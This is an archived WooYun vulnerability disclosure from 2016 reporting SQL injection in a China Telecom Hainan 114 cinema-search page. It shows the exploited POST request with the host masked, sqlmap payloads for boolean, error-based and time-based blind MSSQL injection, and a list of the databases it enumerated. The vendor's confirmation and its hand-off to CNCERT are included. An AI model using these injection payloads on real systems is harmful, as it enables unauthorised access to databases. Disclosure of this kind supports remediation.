当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168108

漏洞标题:海南电信114号码百事通某平台sql注入/文件遍历

相关厂商:中国电信

漏洞作者: 路人甲

提交时间:2016-01-09 01:42

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-09: 细节已通知厂商并且等待厂商处理中
2016-01-13: 厂商已经确认,细节仅向厂商公开
2016-01-23: 细节向核心白帽子及相关领域专家公开
2016-02-02: 细节向普通白帽子公开
2016-02-12: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

海南电信114号码百事通某平台sql注入/文件遍历

详细说明:

这个平台数据提交的地方都存在注入,例如:
POST /web/114_cinema/self_search1.asp HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 86
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/web/114_cinema/self_search1.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ASPSESSIONIDACADTQDS=PGFBAMADKDKOJJNMCCHNKBNE
cinema_name=*&cinema_address=&city=&m_time1=&m_time2=&+%B2%E9%D5%D2+=+%B2%E9%D5%D2+
参数cinema_name存在注入

漏洞证明:

sqlmap identified the following injection points with a total of 52 HTTP(s) requests:
---
Place: (custom) POST
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cinema_name=%' AND 1377=1377 AND '%'='&cinema_address=&city=&m_time1=&m_time2=& %B2%E9%D5%D2 = %B2%E9%D5%D2
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: cinema_name=%' AND 6832=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(111)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6832=6832) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(116)+CHAR(98)+CHAR(113))) AND '%'='&cinema_address=&city=&m_time1=&m_time2=& %B2%E9%D5%D2 = %B2%E9%D5%D2
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: cinema_name=%' AND 2086=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='&cinema_address=&city=&m_time1=&m_time2=& %B2%E9%D5%D2 = %B2%E9%D5%D2
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server Unknown
available databases [16]:
[*] bill
[*] eptel
[*] ims
[*] info
[*] master
[*] model
[*] ngsp
[*] ocs
[*] openeap4
[*] openeapwb
[*] petra
[*] petra_bak
[*] q_bar
[*] report
[*] sanya12345
[*] tempdb

修复方案:

过滤参数

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-01-13 11:54

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无


漏洞评价:

评价